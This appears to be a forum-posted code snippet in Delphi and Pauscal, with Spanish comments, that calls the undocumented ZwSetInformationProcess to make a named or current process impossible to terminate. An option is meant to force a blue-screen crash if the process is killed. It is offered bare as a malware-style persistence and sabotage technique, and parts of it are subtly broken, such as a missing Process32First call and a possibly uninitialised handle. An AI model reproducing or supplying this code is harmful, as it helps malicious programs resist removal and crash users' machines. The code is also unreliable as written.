-
function ZwSetInformationProcess(cs1:THandle; cs2:ULONG; cs3:Pointer; cs4:ULONG):ULONG; stdcall; external 'ntdll.dll';
-
-
function Non_Killable(Process: String; BSOD: Bool): ULONG;
-
var
-
Val : ULONG;
-
ProcessEntry : TProcessEntry32;
-
hSnapshot : THandle;
-
ProcessHandle : THandle;
-
ProcessID : DWORD;
-
begin
-
case BSOD of
-
True : Val := $FFFFFFFF;
-
False : Val := $8000F129;
-
end;
-
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
-
ProcessEntry.dwSize := SizeOf(ProcessEntry32);
-
while Process32Next(hSnapshot, ProcessEntry) do
-
begin
-
if Process = ProcessEntry.szExeFile then
-
begin
-
ProcessID := ProcessEntry.th32ProcessID;
-
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
-
CloseHandle(hSnapshot);
-
end;
-
end;
-
Result := ZwSetInformationProcess(ProcessHandle, $21, @Val, SizeOf(Val));
-
end;
-
non_killable('Project1.exe', False); //Sin BSOD
-
non_killable('Project1.exe', True); //Con BSOD
-
-
Importar "Pauscal.prp"
-
Proc GetCurrentProcess():Entero, "Kernel32.dll"
-
Proc ZwSetInformationProcess(p1,p2,p3,p4:EnteroSig):Entero, "ntdll.dll"
-
Var Val:EnteroSig
-
Val = &8000F129 ' &FFFFFFFF ' BSOD
-
ZwSetInformationProcess(GetCurrentProcess(),&21,Val@,Long(Val))
-
Repetir
-
Pausar(1000)
-
PorSiempre
-
-